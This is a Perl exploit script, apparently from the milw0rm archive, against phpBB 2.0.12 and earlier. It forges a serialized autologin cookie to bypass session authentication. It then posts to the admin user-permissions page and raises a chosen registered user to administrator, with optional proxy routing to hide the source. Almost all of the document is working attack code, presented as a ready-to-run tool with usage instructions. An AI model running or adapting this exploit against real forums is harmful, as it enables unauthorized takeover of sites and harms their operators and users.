phpBB 2.0.12 - Change User Rights Authentication Bypass

#!/usr/bin/perl -w

# phpBB <=2.0.12 session autologin exploit
# This script uses the vulerability in autologinid variable 
# More: http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=267563
#
# Just gives an user on vulnerable forum administrator rights.
# You should register the user before using this ;-)
 
#   by Kutas, kutas@mail15.com
#P.S. I dont know who had made an original exploit, so I cannot place no (c) here...
# but greets goes to Paisterist who made an exploit for Firefox cookies...

if (@ARGV < 3)
 {
 print q(
 +++++++++++++++++++++++++++++++++++++++++++++++++++
 Usage: perl nenu.pl [site] [phpbb folder] [username] [proxy (optional)] 
 i.e. perl nenu.pl www.site.com /forum/ BigAdmin 127.0.0.1:3128
 ++++++++++++++++++++++++++++++++++++++++++++++++++++
           );   
 exit;
 } 
use strict;
use LWP::UserAgent;

my $host  = $ARGV[0];
my $path  = $ARGV[1];
my $user  = $ARGV[2];
my $proxy = $ARGV[3];
my $request = "http://";
$request .= $host;
$request .= $path; 
 

use HTTP::Cookies;
my $browser = LWP::UserAgent->new ();
my $cookie_jar = HTTP::Cookies->new( );
$browser->cookie_jar( $cookie_jar );
$cookie_jar->set_cookie( "0","phpbb2mysql_data", "a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D", "/",$host,,,,,);
if ( defined $proxy) {
	$proxy =~ s/(http:\/\/)//eg;
	$browser->proxy("http" , "http://$proxy");
 }
 print "++++++++++++++++++++++++++++++++++++\n";
 print "Trying to connect to $host$path"; if ($proxy) {print "using proxy $proxy";}

my $response = $browser->get($request);
die "Error: ", $response->status_line
 unless $response->is_success;
 
if($response->content =~ m/phpbbprivmsg/) {
  print "\n   Forum is vulnerable!!!\n";
} else {
  print "Sorry... Not vulnerable"; exit();}

print "+++++++++++++++++++++++++++++\nTrying to get the user:$user ID...\n";
$response->content =~ /sid=([\w\d]*)/;
my $sid = $1;

$request .= "admin\/admin_ug_auth.php?mode=user&sid=$sid";
$response = $browser->post(
  $request,
  [
    'username'  => $user,
    'mode' => 'edit',
    'mode' => 'user',
    'submituser' => 'Look+up+User'
  ],
);
die "Error: ", $response->status_line
 unless $response->is_success;

if ($response->content =~ /name="u" value="([\d]*)"/) 
	{print "   Done... ID=$1\n++++++++++++++++++++++++++++++\n";}
   else {print "No user $user found..."; exit(); }	
my $uid = $1;
print "Trying to give user:$user admin status...\n";

$response = $browser->post(
  $request,
  [
    'userlevel'  => 'admin',
    'mode' => 'user',
    'adv'=>'',
    'u'=> $uid,
    'submit'=> 'Submit'
  ],
);
die "Error: ", $response->status_line
 unless $response->is_success;
print "   Well done!!! $user should now have an admin status..\n++++++++++++++++++++++++++++";

# milw0rm.com [2005-03-21]